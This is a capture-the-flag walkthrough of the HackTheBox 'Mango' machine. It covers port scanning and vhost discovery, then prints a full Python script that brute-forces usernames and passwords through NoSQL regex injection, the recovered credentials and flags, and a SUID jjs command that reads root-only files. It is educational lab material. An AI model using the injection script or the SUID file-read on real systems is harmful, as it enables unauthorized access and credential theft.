< back

RHOST: 10.10.10.162

LHOST: 10.10.14.96

Initial Enumeration

Start like usual by scanning ports

root@kali:~# nmap -sV 10.10.10.162
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-06 02:48 EST
Nmap scan report for 10.10.10.162
Host is up (0.34s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     Apache httpd 2.4.29 ((Ubuntu))
443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.71 seconds

ssh service is running, as well as apache with both HTTP and HTTPS on 80 and 443.

Hitting port 80 with an HTTP request returns a 403 error, but I get a 200 OK on 443 (after adding the SSL cert to my exceptions).

Screenshot

Hitting the webserver with HTTPS gives us an interface for a search portal. So this box is named mango, and it's got a search interface, seems likely that the name is some sort of hint to mangodb, we'll keep this is mind.

A quick skim through the page source also reveals a link to /analytics.php. Spent some time looking at the source for that page but it seemed like a dead end.

Where'd you get that certificate from?

Here I hit a wall for quite some time, I did some more directory travesal with gobuster using larger wordlist sets on both port 80 and 443 but it didn't yield anything useful. Decided to take a closer look at the certificate that the server was giving us, and came across a useful clue.

Screenshot

So it seems there is a vhost for a subdomain staging-order.mango.htb. I added the hostname and the remote IP to my /etc/hosts file and took a look at what hitting the webserver with that url gave us. Nice, we found a new page! Some sort of login form.

Screenshot

This stumped me for a while. Tried the usual default creds like admin:admin guest:guest admin:password but came up blank.

NoSQL is fruity!

I searched around google a bit for attacks on authentication with a mongodb backend and found some very interesting research!

Research paper on NoSQL security flaws

Some proof of concept scripts from swisskyrepo's PayloadsAllTheThings

Some more scripts in the same vain

By abusing the way the mongodb query is crafted on the backend based on the php POST data, we can brute force both username and password for the login portal. I used a python script based on the above prior art. I had to ensure the HTTP requests being sent from the python script were crafted like ones coming from the browser so I copied over some of the request headers from firefox after recording one of the login POST requests. Also needed to limit some of the characters being tried as some characters are not regex friendly.

import sys
import requests
import string

url = "http://staging-order.mango.htb/index.php"
headers = {"Host": "staging-order.mango.htb", "Content-Type": "application/x-www-form-urlencoded"}
cookies = {"PHPSESSID": "susv0mvm5c1jr5fvg34fkv4rmn"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation ]

help_menu = '\r\nUsage: mango.py <user|pass> [user]\r\n\r\nSecond argument required for password discovery'

def get_usernames():
    usernames = []
    params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
    for c in possible_chars:
        username = "^" + c
        params["username[$regex]"] = username + ".*"
        pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
        if int(pr.status_code) == 302:
            print("Found username starting with "+c)
            while True:
                for c2 in possible_chars:
                    params["username[$regex]"] = username + c2 + ".*"
                    pr2 = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
                    if int(pr2.status_code) == 302:
                        username += c2
                        print(username)
                        break

                if c2 == possible_chars[-1]:
                    print("Found username: "+username[1:])
                    usernames.append(username[1:])
                    break
    return usernames

def get_password(username):
    print("Extracting password of %s" % username)
    params = {"username": username, "password[$regex]": "", "login": "login"}
    password = "^"
    while True:
        for c in possible_chars:
            params["password[$regex]"] = password + c + ".*"
            pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
            if int(pr.status_code) == 302:
                password += c
                print(password)
                break
        if c == possible_chars[-1]:
            print("Found password "+password[1:].replace("\\", "")+" for username "+username)
            return password[1:].replace("\\", "")


if __name__ == "__main__":
    try:
        arg = sys.argv[1]
        if arg == 'user':
            get_usernames()
        elif arg == 'pass':
            username = sys.argv[2]
            if username is not None:
                get_password(username)
            else:
                print(help_menu)
        else:
            print(help_menu)
   
    except IndexError:
        print(help_menu)

We end up finding two usernames admin and mango.

root@kali:~# python mango.py user
Found username starting with a
^ad
^adm
^admi
^admin
Found username: admin
Found username starting with m
^ma
^man
^mang
^mango
Found username: mango
root@kali:~# 

Now to brute force the passwords

root@kali:~# python mango.py pass admin
Extracting password of admin
^t
^t9
^t9K
^t9Kc
^t9KcS
^t9KcS3
^t9KcS3>
^t9KcS3>!
^t9KcS3>!0
^t9KcS3>!0B
^t9KcS3>!0B#
^t9KcS3>!0B#2
Found password t9KcS3>!0B#2 for username admin
root@kali:~# python mango.py pass mango
Extracting password of mango
^h
^h3
^h3m
^h3mX
^h3mXK
^h3mXK8
^h3mXK8R
^h3mXK8Rh
^h3mXK8RhU
^h3mXK8RhU~
^h3mXK8RhU~f
^h3mXK8RhU~f{
^h3mXK8RhU~f{]
^h3mXK8RhU~f{]f
^h3mXK8RhU~f{]f5
^h3mXK8RhU~f{]f5H
Found password h3mXK8RhU~f{]f5H for username mango

Logging into the web portal works with these credentials with both users which leads to another landing page with nothing of further interest. I tried using the same creds to ssh into the box, which didn't work for user admin but worked for mango.

We can even double check that we did in fact manage to brute force the correct passwords and users by using the mongo client on the remote server.

mango@mango:/tmp$ mongo
MongoDB shell version v4.0.12
connecting to: mongodb://127.0.0.1:27017/?gssapiServiceName=mongodb
Implicit session: session { "id" : UUID("01aff217-25c6-4a05-a61a-1b3bd7a531d5") }
MongoDB server version: 4.0.12
Server has startup warnings: 
2020-02-06T11:21:10.173+0000 I STORAGE  [initandlisten] 
2020-02-06T11:21:10.173+0000 I STORAGE  [initandlisten] ** WARNING: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine
2020-02-06T11:21:10.173+0000 I STORAGE  [initandlisten] **          See http://dochub.mongodb.org/core/prodnotes-filesystem
2020-02-06T11:21:15.630+0000 I CONTROL  [initandlisten] 
2020-02-06T11:21:15.630+0000 I CONTROL  [initandlisten] ** WARNING: Access control is not enabled for the database.
2020-02-06T11:21:15.630+0000 I CONTROL  [initandlisten] **          Read and write access to data and configuration is unrestricted.
2020-02-06T11:21:15.630+0000 I CONTROL  [initandlisten] 
---
Enable MongoDB's free cloud-based monitoring service, which will then receive and display
metrics about your deployment (disk utilization, CPU, operation statistics, etc).

The monitoring data will be available on a MongoDB website with a unique URL accessible to you
and anyone you share the URL with. MongoDB may use this information to make product
improvements and to suggest MongoDB products and deployment options to you.

To enable free monitoring, run the following command: db.enableFreeMonitoring()
To permanently disable this reminder, run the following command: db.disableFreeMonitoring()
---

> show dbs
admin   0.000GB
config  0.000GB
local   0.000GB
mango   0.000GB
> use mango
switched to db mango
> db.users.find()
{ "_id" : ObjectId("5d8e25334f3bf1432628927b"), "username" : "admin", "password" : "t9KcS3>!0B#2" }
{ "_id" : ObjectId("5d8e25364f3bf1432628927c"), "username" : "mango", "password" : "h3mXK8RhU~f{]f5H" }

I wasn't sure if I had the right password for user admin to login to the box, perhaps I only had a password for the web application which was stored on mongodb. I checked the ssh config and it turns out only root and mango are authorized to login via ssh (so the admin password is in fact valid).

mango@mango:/tmp$ cat /etc/ssh/sshd_config 
...
#       ForceCommand cvs server
PasswordAuthentication yes
AllowUsers mango root

I then switched user with su to admin in order to get the user flag.

mango@mango:/tmp$ su admin
Password: 
$ cat /home/admin/user.txt
79bf31c6c6eb38a8567832f7f8b47e92

I can see err'thang

Escalating to root was the easiest part of this box. I searched for SUID/SGID binaries on the system, and came across an interesting result.

mango@mango:~$ su admin
Password: 
$ find / -perm /6000 -print 2>/dev/null
...
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
...
$ ls -lah //usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
-rwsr-sr-- 1 root admin 11K Jul 18  2019 //usr/lib/jvm/java-11-openjdk-amd64/bin/jjs

jjs is a commandline tool to invoke Java's Nashorn JavaScript engine. Since the binary has the SUID bit set, it runs as root. After a quick check on GTFOBins I can then read any file on the system!

$ echo 'var BufferedReader = Java.type("java.io.BufferedReader");
var FileReader = Java.type("java.io.FileReader");
var br = new BufferedReader(new FileReader("/root/root.txt"));
while ((line = br.readLine()) != null) { print(line); }' | jjs> > > 
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> var BufferedReader = Java.type("java.io.BufferedReader");
jjs> var FileReader = Java.type("java.io.FileReader");
jjs> var br = new BufferedReader(new FileReader("/root/root.txt"));
jjs> while ((line = br.readLine()) != null) { print(line); }
8a8ef79a7a2fbb01ea81688424e9ab15
jjs> $

Root flag obtained 😺